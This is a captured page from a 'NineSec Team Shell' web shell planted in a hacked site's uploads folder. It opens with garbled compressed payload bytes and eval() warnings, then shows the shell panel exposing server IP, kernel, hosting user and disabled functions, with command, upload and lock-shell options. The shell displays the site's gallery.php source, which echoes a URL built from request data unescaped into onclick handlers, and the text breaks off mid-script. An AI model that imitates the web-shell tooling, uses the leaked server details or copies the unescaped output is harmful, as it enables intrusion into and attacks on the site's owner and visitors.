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[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 6

Warning: Cannot modify header information - headers already sent by (output started at /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php:1) in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 45
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../gallery.php
<?php 
include 'includes/header.php';
require_once 'config/database.php';

// Fetch gallery images from database
$stmt = $pdo->query("SELECT * FROM gallery ORDER BY upload_date DESC");
$gallery = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Get current page URL for sharing
$current_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$site_name = "Your Gallery"; // Change this to your site name

// Check if specific image is requested via URL
$requested_image_id = isset($_GET['image']) ? intval($_GET['image']) : null;
$initial_image_index = 0;
$auto_open_lightbox = false;

if ($requested_image_id) {
    foreach ($gallery as $index => $item) {
        if ($item['id'] == $requested_image_id) {
            $initial_image_index = $index;
            $auto_open_lightbox = true;
            break;
        }
    }
}
?>

<section class="section">
    <div class="container">
        <div class="section-header">
            <h2 class="section-title">Gallery</h2>
            <div class="share-page-container">
                <button class="share-page-btn" onclick="toggleSharePageOptions()">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                        <path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92 1.61 0 2.92-1.31 2.92-2.92s-1.31-2.92-2.92-2.92z"/>
                    </svg>
                    Share Gallery
                </button>
                <div class="share-page-options" id="sharePageOptions">
                    <button class="share-option" onclick="shareOnFacebook('<?php echo $current_url; ?>', '<?php echo $site_name; ?> Gallery')">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="#1877F2">
                            <path d="M24 12.073c0-6.627-5.373-12-12-12s-12 5.373-12 12c0 5.99 4.388 10.954 10.125 11.854v-8.385H7.078v-3.47h3.047V9.43c0-3.007 1.792-4.669 4.533-4.669 1.312 0 2.686.235 2.686.235v2.953H15.83c-1.491 0-1.956.925-1.956 1.874v2.25h3.328l-.532 3.47h-2.796v8.385C19.612 23.027 24 18.062 24 12.073z"/>
                        </svg>
                        Facebook
                    </button>
                    <button class="share-option" onclick="shareOnTwitter('<?php echo $current_url; ?>', 'Check out this amazing gallery from <?php echo $site_name; ?>')">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="#1DA1F2">
                            <path d="M23.953 4.57a10 10 0 01-2.825.775 4.958 4.958 0 002.163-2.723c-.951.555-2.005.959-3.127 1.184a4.92 4.92 0 00-8.384 4.482C7.69 8.095 4.067 6.13 1.64 3.162a4.822 4.822 0 00-.666 2.475c0 1.71.87 3.213 2.188 4.096a4.904 4.904 0 01-2.228-.616v.06a4.923 4.923 0 003.946 4.827 4.996 4.996 0 01-2.212.085 4.936 4.936 0 004.604 3.417 9.867 9.867 0 01-6.102 2.105c-.39 0-.779-.023-1.17-.067a13.995 13.995 0 007.557 2.213c9.053 0 13.998-7.496 13.998-13.985 0-.21 0-.42-.015-.63A9.935 9.935 0 0024 4.59z"/>
                        </svg>
                        Twitter
                    </button>
                    <button class="share-option" onclick="shareOnLinkedIn('<?php echo $current_url; ?>', 'Gallery from <?php echo $site_name; ?>', 'Amazing collection of images')">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="#0077B5">
                            <path d="M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85 3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433c-1.144 0-2.063-.926-2.063-2.065 0-1.138.92-2.063 2.063-2.063 1.14 0 2.064.925 2.064 2.063 0 1.139-.925 2.065-2.064 2.065zm1.782 13.019H3.555V9h3.564v11.452zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0h.003z"/>
                        </svg>
                        LinkedIn
                    </button>
                    <button class="share-option" onclick="copyPageUrl()">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                            <path d="M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12V1zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm0 16H8V7h11v14z"/>
                        </svg>
                        Copy Link
                    </button>
                    <button class="share-option" onclick="shareViaEmail('<?php echo $current_url; ?>', 'Check out this gallery from <?php echo $site_name; ?>')">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                            <path d="M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 4l-8 5-8-5V6l8 5 8-5v2z"/>
                        </svg>
                        Email
                    </button>
                    <button class="share-option" onclick="downloadAllImages()">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                            <path d="M19 9h-4V3H9v6H5l7 7 7-7zM5 18v2h14v-2H5z"/>
                        </svg>
                        Download All
                    </button>
                </div>
            </div>
        </div>
        
        <?php if (empty($gallery)): ?>
            <div class="card">
                <p>No images in the gallery yet. Check back after our events!</p>
            </div>
        <?php else: ?>
            <div class="gallery-grid">
                <?php foreach ($gallery as $index => $item): ?>
                    <div class="gallery-item" onclick="openLightbox(<?php echo $index; ?>)">
                        <img src="<?php echo htmlspecialchars($item['image_path']); ?>" 
                             alt="<?php echo htmlspecialchars($item['title']); ?>"
                             loading="lazy"
                             data-id="<?php echo $item['id']; ?>">
                        <div class="caption">
                            <h4><?php echo htmlspecialchars($item['title']); ?></h4>
                            <p><?php echo htmlspecialchars($item['description']); ?></p>
                        </div>
                    </div>
                <?php endforeach; ?>
            </div>
        <?php endif; ?>
    </div>
</section>

<!-- Lightbox Modal -->
<div id="lightbox" class="lightbox">
    <span class="close" onclick="closeLightbox()">&times;</span>
    <span class="nav-btn prev" onclick="changeSlide(-1)">&#10094;</span>
    <span class="nav-btn next" onclick="changeSlide(1)">&#10095;</span>
    
    <div class="lightbox-content">
        <img id="lightbox-img" src="" alt="">
        <div class="lightbox-caption">
            <h3 id="lightbox-title"></h3>
            <p id="lightbox-description"></p>
            <div class="lightbox-actions">
                <div class="lightbox-share">
                    <button class="share-btn" onclick="toggleShareOptions()">
                        <svg width="18" height="18" viewBox="0 0 24 24" fill="currentColor">
                            <path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92 1.61 0 2.92-1.31 2.92-2.92s-1.31-2.92-2.92-2.92z"/>
                        </svg>
                        Share Image
                    </button>
                    <div class="share-options" id="shareOptions">
                        <button class="share-option" onclick="shareImageOnFacebook()">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="#1877F2">
                                <path d="M24 12.073c0-6.627-5.373-12-12-12s-12 5.373-12 12c0 5.99 4.388 10.954 10.125 11.854v-8.385H7.078v-3.47h3.047V9.43c0-3.007 1.792-4.669 4.533-4.669 1.312 0 2.686.235 2.686.235v2.953H15.83c-1.491 0-1.956.925-1.956 1.874v2.25h3.328l-.532 3.47h-2.796v8.385C19.612 23.027 24 18.062 24 12.073z"/>
                            </svg>
                            Facebook
                        </button>
                        <button class="share-option" onclick="shareImageOnTwitter()">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="#1DA1F2">
                                <path d="M23.953 4.57a10 10 0 01-2.825.775 4.958 4.958 0 002.163-2.723c-.951.555-2.005.959-3.127 1.184a4.92 4.92 0 00-8.384 4.482C7.69 8.095 4.067 6.13 1.64 3.162a4.822 4.822 0 00-.666 2.475c0 1.71.87 3.213 2.188 4.096a4.904 4.904 0 01-2.228-.616v.06a4.923 4.923 0 003.946 4.827 4.996 4.996 0 01-2.212.085 4.936 4.936 0 004.604 3.417 9.867 9.867 0 01-6.102 2.105c-.39 0-.779-.023-1.17-.067a13.995 13.995 0 007.557 2.213c9.053 0 13.998-7.496 13.998-13.985 0-.21 0-.42-.015-.63A9.935 9.935 0 0024 4.59z"/>
                            </svg>
                            Twitter
                        </button>
                        <button class="share-option" onclick="shareImageOnPinterest()">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="#BD081C">
                                <path d="M12.017 0C5.396 0 .029 5.367.029 11.987c0 5.079 3.158 9.417 7.618 11.174-.105-.949-.199-2.403.042-3.441.219-.937 1.407-5.965 1.407-5.965s-.359-.719-.359-1.782c0-1.668.967-2.914 2.171-2.914 1.023 0 1.518.769 1.518 1.69 0 1.029-.653 2.567-.992 3.992-.285 1.193.6 2.165 1.775 2.165 2.128 0 3.768-2.245 3.768-5.487 0-2.861-2.063-4.869-5.008-4.869-3.41 0-5.409 2.562-5.409 5.199 0 1.033.394 2.143.889 2.741.099.12.112.225.085.345-.09.375-.293 1.199-.334 1.363-.053.225-.172.271-.402.165-1.495-.69-2.433-2.878-2.433-4.646 0-3.776 2.748-7.252 7.92-7.252 4.158 0 7.392 2.967 7.392 6.923 0 4.135-2.607 7.462-6.233 7.462-1.214 0-2.357-.629-2.75-1.378l-.748 2.853c-.271 1.043-1.002 2.35-1.492 3.146C9.57 23.812 10.763 24.009 12.017 24.009c6.624 0 11.99-5.367 11.99-11.988C24.007 5.367 18.641.001.012.017 12.014 0 12.017 0z"/>
                            </svg>
                            Pinterest
                        </button>
                        <button class="share-option" onclick="copyImageUrl()">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                                <path d="M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12V1zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm0 16H8V7h11v14z"/>
                            </svg>
                            Copy Image URL
                        </button>
                        <button class="share-option" onclick="shareImageViaWhatsApp()">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="#25D366">
                                <path d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347m-5.421 7.403h-.004a9.87 9.87 0 01-5.031-1.378l-.361-.214-3.741.982.998-3.648-.235-.374a9.86 9.86 0 01-1.51-5.26c.001-5.45 4.436-9.884 9.888-9.884 2.64 0 5.122 1.03 6.988 2.898a9.825 9.825 0 012.893 6.994c-.003 5.45-4.437 9.884-9.885 9.884m8.413-18.297A11.815 11.815 0 0012.05 0C5.495 0 .16 5.335.157 11.892c0 2.096.547 4.142 1.588 5.945L.057 24l6.305-1.654a11.882 11.882 0 005.683 1.448h.005c6.554 0 11.89-5.335 11.893-11.893-.001-3.189-1.262-6.209-3.553-8.485"/>
                            </svg>
                            WhatsApp
                        </button>
                        <button class="share-option" onclick="shareImagePage()">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                                <path d="M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"/>
                            </svg>
                            Share This View
                        </button>
                        <button class="share-option" onclick="downloadCurrentImage()">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                                <path d="M19 9h-4V3H9v6H5l7 7 7-7zM5 18v2h14v-2H5z"/>
                            </svg>
                            Download Image
                        </button>
                    </div>
                </div>
                <button class="share-gallery-btn" onclick="shareGalleryFromLightbox()">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                        <path d="M4 6H2v14c0 1.1.9 2 2 2h14v-2H4V6zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-8 12.5v-9l6 4.5-6 4.5z"/>
                    </svg>
                    Share Entire Gallery
                </button>
            </div>
            <div class="lightbox-counter">
                <span id="current-index">1</span> of <span id="total-count"><?php echo count($gallery); ?></span>
            </div>
        </div>
    </div>
</div>

<style>
/* Previous styles remain the same */
.gallery-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
    gap: 20px;
    margin-top: 30px;
}

.gallery-item {
    border-radius: 12px;
    overflow: hidden;
    box-shadow: 0 4px 15px rgba(0,0,0,0.1);
    transition: transform 0.3s ease, box-shadow 0.3s ease;
    cursor: pointer;
    background: white;
}

.gallery-item:hover {
    transform: translateY(-5px);
    box-shadow: 0 8px 25px rgba(0,0,0,0.15);
}

.gallery-item img {
    width: 100%;
    height: 250px;
    object-fit: cover;
    transition: transform 0.3s ease;
}

.gallery-item:hover img {
    transform: scale(1.05);
}

.caption {
    padding: 15px;
}

.caption h4 {
    margin: 0 0 8px 0;
    color: #333;
    font-size: 1.1em;
}

.caption p {
    margin: 0;
    color: #666;
    font-size: 0.9em;
    line-height: 1.4;
}

/* Lightbox Styles */
.lightbox {
    display: none;
    position: fixed;
    z-index: 1000;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.9);
    backdrop-filter: blur(5px);
}

.lightbox-content {
    position: relative;
    margin: auto;
    padding: 20px;
    width: 90%;
    max-width: 1200px;
    height: 90vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
}

#lightbox-img {
    max-width: 100%;
    max-height: 80vh;
    object-fit: contain;
    border-radius: 8px;
    box-shadow: 0 10px 30px rgba(0,0,0,0.3);
}

.close {
    position: absolute;
    top: 20px;
    right: 30px;
    color: #fff;
    font-size: 40px;
    font-weight: bold;
    cursor: pointer;
    z-index: 1001;
    transition: color 0.3s ease;
}

.close:hover {
    color: #ff6b6b;
}

.nav-btn {
    position: absolute;
    top: 50%;
    transform: translateY(-50%);
    color: white;
    font-size: 36px;
    font-weight: bold;
    cursor: pointer;
    padding: 16px;
    user-select: none;
    transition: 0.3s ease;
    background: rgba(0,0,0,0.5);
    border-radius: 50%;
    width: 60px;
    height: 60px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.nav-btn:hover {
    background: rgba(0,0,0,0.8);
    transform: translateY(-50%) scale(1.1);
}

.prev {
    left: 30px;
}

.next {
    right: 30px;
}

.lightbox-caption {
    color: white;
    text-align: center;
    padding: 20px;
    max-width: 600px;
}

.lightbox-caption h3 {
    margin: 15px 0 10px 0;
    font-size: 1.5em;
    color: #fff;
}

.lightbox-caption p {
    margin: 10px 0;
    font-size: 1.1em;
    color: #ddd;
    line-height: 1.5;
}

/* Share specific styles */
.section-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 30px;
    flex-wrap: wrap;
    gap: 15px;
}

.share-page-container {
    position: relative;
    display: inline-block;
}

.share-page-btn {
    background: #4CAF50;
    color: white;
    border: none;
    padding: 10px 20px;
    border-radius: 25px;
    cursor: pointer;
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 14px;
    font-weight: 500;
    transition: all 0.3s ease;
}

.share-page-btn:hover {
    background: #45a049;
    transform: translateY(-2px);
    box-shadow: 0 4px 12px rgba(76, 175, 80, 0.3);
}

.share-page-options {
    display: none;
    position: absolute;
    top: 100%;
    right: 0;
    background: white;
    border-radius: 12px;
    box-shadow: 0 8px 25px rgba(0,0,0,0.15);
    padding: 10px;
    z-index: 100;
    min-width: 180px;
    margin-top: 10px;
}

.share-page-options.show {
    display: block;
    animation: fadeInUp 0.3s ease;
}

.lightbox-actions {
    display: flex;
    gap: 10px;
    flex-wrap: wrap;
    justify-content: center;
    margin-top: 15px;
}

.lightbox-share {
    position: relative;
    display: inline-block;
}

.share-btn {
    background: rgba(255, 255, 255, 0.2);
    color: white;
    border: 1px solid rgba(255, 255, 255, 0.3);
    padding: 8px 16px;
    border-radius: 20px;
    cursor: pointer;
    display: flex;
    align-items: center;
    gap: 6px;
    font-size: 14px;
    transition: all 0.3s ease;
    backdrop-filter: blur(10px);
}

.share-btn:hover {
    background: rgba(255, 255, 255, 0.3);
    transform: translateY(-2px);
}

.share-gallery-btn {
    background: rgba(255, 255, 255, 0.1);
    color: white;
    border: 1px solid rgba(255, 255, 255, 0.2);
    padding: 8px 16px;
    border-radius: 20px;
    cursor: pointer;
    display: flex;
    align-items: center;
    gap: 6px;
    font-size: 14px;
    transition: all 0.3s ease;
    backdrop-filter: blur(10px);
}

.share-gallery-btn:hover {
    background: rgba(255, 255, 255, 0.2);
    transform: translateY(-2px);
}

.share-options {
    display: none;
    position: absolute;
    bottom: 100%;
    left: 0;
    background: white;
    border-radius: 12px;
    box-shadow: 0 8px 25px rgba(0,0,0,0.15);
    padding: 10px;
    z-index: 100;
    min-width: 200px;
    margin-bottom: 10px;
}

.share-options.show {
    display: block;
    animation: fadeInUp 0.3s ease;
}

.share-option {
    display: flex;
    align-items: center;
    gap: 10px;
    width: 100%;
    padding: 10px;
    border: none;
    background: none;
    cursor: pointer;
    font-size: 14px;
    border-radius: 6px;
    transition: background-color 0.3s ease;
    color: #333;
    text-align: left;
}

.share-option:hover {
    background-color: #f5f5f5;
}

.lightbox-counter {
    margin-top: 15px;
    font-size: 1em;
    color: #bbb;
    font-weight: 500;
}

@keyframes fadeInUp {
    from {
        opacity: 0;
        transform: translateY(10px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.copy-message {
    position: fixed;
    top: 20px;
    right: 20px;
    background: #4CAF50;
    color: white;
    padding: 12px 20px;
    border-radius: 8px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
    z-index: 10000;
    animation: slideInRight 0.3s ease;
}

@keyframes slideInRight {
    from {
        transform: translateX(100%);
        opacity: 0;
    }
    to {
        transform: translateX(0);
        opacity: 1;
    }
}

.url-indicator {
    position: fixed;
    bottom: 20px;
    left: 50%;
    transform: translateX(-50%);
    background: rgba(0, 0, 0, 0.8);
    color: white;
    padding: 8px 16px;
    border-radius: 20px;
    font-size: 12px;
    z-index: 1000;
    animation: fadeInUp 0.3s ease;
}

/* Responsive Design */
@media (max-width: 768px) {
    .gallery-grid {
        grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
        gap: 15px;
    }
    
    .nav-btn {
        font-size: 28px;
        width: 50px;
        height: 50px;
        padding: 12px;
    }
    
    .prev {
        left: 15px;
    }
    
    .next {
        right: 15px;
    }
    
    .close {
        top: 10px;
        right: 20px;
        font-size: 35px;
    }
    
    .lightbox-content {
        width: 95%;
        padding: 10px;
    }
    
    .section-header {
        flex-direction: column;
        align-items: flex-start;
    }
    
    .share-page-container {
        align-self: flex-end;
    }
    
    .share-page-options {
        right: auto;
        left: 0;
    }
    
    .share-options {
        left: 50%;
        transform: translateX(-50%);
    }
    
    .lightbox-actions {
        flex-direction: column;
        align-items: center;
    }
}

@media (max-width: 480px) {
    .gallery-grid {
        grid-template-columns: 1fr;
        gap: 12px;
    }
    
    .gallery-item img {
        height: 200px;
    }
    
    .nav-btn {
        font-size: 24px;
        width: 44px;
        height: 44px;
        padding: 10px;
    }
    
    .share-page-options {
        min-width: 160px;
    }
    
    .share-options {
        min-width: 180px;
    }
}
</style>

<script>
// Gallery data from PHP
const galleryData = <?php echo json_encode($gallery); ?>;
let currentIndex = <?php echo $initial_image_index; ?>;

// Initialize lightbox when DOM is loaded
document.addEventListener('DOMContentLoaded', function() {
    console.log('DOM loaded, gallery data:', galleryData.length, 'items');
    console.log('Current index:', currentIndex);
    
    // Auto-open lightbox if image parameter is present
    <?php if ($auto_open_lightbox): ?>
    console.log('Auto-opening lightbox for image index:', currentIndex);
    setTimeout(() => {
        openLightbox(currentIndex);
    }, 100);
    <?php endif; ?>
});

// Lightbox functions
function openLightbox(index) {
    console.log('Opening lightbox with index:', index);
    
    if (index < 0 || index >= galleryData.length) {
        console.error('Invalid index:', index);
        return;
    }
    
    currentIndex = index;
    updateLightbox();
    
    const lightbox = document.getElementById('lightbox');
    if (lightbox) {
        lightbox.style.display = 'block';
        document.body.style.overflow = 'hidden';
        closeAllShareOptions();
        
        // Update URL with image ID
        updateUrlWithImage();
    } else {
        console.error('Lightbox element not found');
    }
}

function closeLightbox() {
    const lightbox = document.getElementById('lightbox');
    if (lightbox) {
        lightbox.style.display = 'none';
        document.body.style.overflow = 'auto';
        closeAllShareOptions();
        
        // Remove image parameter from URL when closing lightbox
        removeImageFromUrl();
    }
}

function changeSlide(direction) {
    let newIndex = currentIndex + direction;
    
    // Loop around
    if (newIndex >= galleryData.length) {
        newIndex = 0;
    } else if (newIndex < 0) {
        newIndex = galleryData.length - 1;
    }
    
    openLightbox(newIndex);
}

function updateLightbox() {
    if (currentIndex < 0 || currentIndex >= galleryData.length) {
        console.error('Invalid currentIndex:', currentIndex);
        return;
    }
    
    const item = galleryData[currentIndex];
    console.log('Updating lightbox with item:', item);
    
    const lightboxImg = document.getElementById('lightbox-img');
    const lightboxTitle = document.getElementById('lightbox-title');
    const lightboxDescription = document.getElementById('lightbox-description');
    const currentIndexEl = document.getElementById('current-index');
    const totalCountEl = document.getElementById('total-count');
    
    if (lightboxImg) lightboxImg.src = item.image_path;
    if (lightboxImg) lightboxImg.alt = item.title || 'Gallery Image';
    if (lightboxTitle) lightboxTitle.textContent = item.title || 'No Title';
    if (lightboxDescription) lightboxDescription.textContent = item.description || 'No description';
    if (currentIndexEl) currentIndexEl.textContent = currentIndex + 1;
    if (totalCountEl) totalCountEl.textContent = galleryData.length;
}

// URL Management functions
function updateUrlWithImage() {
    const item = galleryData[currentIndex];
    const newUrl = `${window.location.pathname}?image=${item.id}`;
    window.history.pushState({ imageId: item.id }, '', newUrl);
    showUrlIndicator('URL updated with current image');
}

function removeImageFromUrl() {
    const newUrl = window.location.pathname;
    window.history.pushState({}, '', newUrl);
    showUrlIndicator('Returned to gallery view');
}

function getCurrentImageUrl() {
    const item = galleryData[currentIndex];
    return `${window.location.origin}${window.location.pathname}?image=${item.id}`;
}

function showUrlIndicator(message) {
    // Remove existing indicator
    const existingIndicator = document.querySelector('.url-indicator');
    if (existingIndicator) {
        existingIndicator.remove();
    }
    
    // Create new indicator
    const indicator = document.createElement('div');
    indicator.className = 'url-indicator';
    indicator.textContent = message;
    document.body.appendChild(indicator);
    
    // Remove after 2 seconds
    setTimeout(() => {
        if (indicator.parentNode) {
            indicator.parentNode.removeChild(indicator);
        }
    }, 2000);
}

// Share functions for individual images
function toggleShareOptions() {
    const options = document.getElementById('shareOptions');
    if (options) {
        options.classList.toggle('show');
    }
}

function toggleSharePageOptions() {
    const options = document.getElementById('sharePageOptions');
    if (options) {
        options.classList.toggle('show');
    }
}

function closeAllShareOptions() {
    const shareOptions = document.getElementById('shareOptions');
    const sharePageOptions = document.getElementById('sharePageOptions');
    
    if (shareOptions) shareOptions.classList.remove('show');
    if (sharePageOptions) sharePageOptions.classList.remove('show');
}

// Individual image share functions
function shareImageOnFacebook() {
    const shareUrl = `https://www.facebook.com/sharer/sharer.php?u=${encodeURIComponent(getCurrentImageUrl())}`;
    window.open(shareUrl, '_blank', 'width=600,height=400');
}

function shareImageOnTwitter() {
    const item = galleryData[currentIndex];
    const shareUrl = `https://twitter.com/intent/tweet?url=${encodeURIComponent(getCurrentImageUrl())}&text=${encodeURIComponent(item.title)}`;
    window.open(shareUrl, '_blank', 'width=600,height=400');
}

function shareImageOnPinterest() {
    const item = galleryData[currentIndex];
    const imageUrl = getAbsoluteUrl(item.image_path);
    const shareUrl = `https://pinterest.com/pin/create/button/?url=${encodeURIComponent(getCurrentImageUrl())}&media=${encodeURIComponent(imageUrl)}&description=${encodeURIComponent(item.title)}`;
    window.open(shareUrl, '_blank', 'width=600,height=400');
}

function shareImageViaWhatsApp() {
    const item = galleryData[currentIndex];
    const shareUrl = `https://wa.me/?text=${encodeURIComponent(item.title + ' ' + getCurrentImageUrl())}`;
    window.open(shareUrl, '_blank');
}

function shareImagePage() {
    const imageUrl = getCurrentImageUrl();
    navigator.clipboard.writeText(imageUrl).then(() => {
        showMessage('Image page URL copied to clipboard!');
    }).catch(() => {
        showMessage('Failed to copy URL');
    });
}

function copyImageUrl() {
    const item = galleryData[currentIndex];
    const imageUrl = getAbsoluteUrl(item.image_path);
    navigator.clipboard.writeText(imageUrl).then(() => {
        showMessage('Image URL copied to clipboard!');
    }).catch(() => {
        showMessage('Failed to copy URL');
    });
}

function downloadCurrentImage() {
    const item = galleryData[currentIndex];
    const imageUrl = getAbsoluteUrl(item.image_path);
    const link = document.createElement('a');
    link.href = imageUrl;
    link.download = item.title || 'image';
    document.body.appendChild(link);
    link.click();
    document.body.removeChild(link);
    showMessage('Image download started');
}

// Gallery share functions
function shareGalleryFromLightbox() {
    const baseUrl = window.location.origin + window.location.pathname;
    navigator.clipboard.writeText(baseUrl).then(() => {
        showMessage('Gallery URL copied to clipboard!');
    }).catch(() => {
        showMessage('Failed to copy URL');
    });
}

// Page share functions
function shareOnFacebook(url, title) {
    const shareUrl = `https://www.facebook.com/sharer/sharer.php?u=${encodeURIComponent(url)}&quote=${encodeURIComponent(title)}`;
    window.open(shareUrl, '_blank', 'width=600,height=400');
}

function shareOnTwitter(url, text) {
    const shareUrl = `https://twitter.com/intent/tweet?url=${encodeURIComponent(url)}&text=${encodeURIComponent(text)}`;
    window.open(shareUrl, '_blank', 'width=600,height=400');
}

function shareOnLinkedIn(url, title, summary) {
    const shareUrl = `https://www.linkedin.com/sharing/share-offsite/?url=${encodeURIComponent(url)}&title=${encodeURIComponent(title)}&summary=${encodeURIComponent(summary)}`;
    window.open(shareUrl, '_blank', 'width=600,height=400');
}

function copyPageUrl() {
    navigator.clipboard.writeText(window.location.href).then(() => {
        showMessage('Page URL copied to clipboard!');
    }).catch(() => {
        showMessage('Failed to copy URL');
    });
}

function shareViaEmail(url, subject) {
    const mailto = `mailto:?subject=${encodeURIComponent(subject)}&body=${encodeURIComponent(subject + ': ' + url)}`;
    window.location.href = mailto;
}

function downloadAllImages() {
    showMessage('Preparing all images for download...');
    // In a real implementation, you might want to create a ZIP file
    // For now, we'll show a message
    setTimeout(() => {
        showMessage('This feature would download all images as a ZIP file');
    }, 1000);
}

// Utility functions
function getAbsoluteUrl(relativePath) {
    return new URL(relativePath, window.location.origin).href;
}

function showMessage(message) {
    // Remove existing message
    const existingMessage = document.querySelector('.copy-message');
    if (existingMessage) {
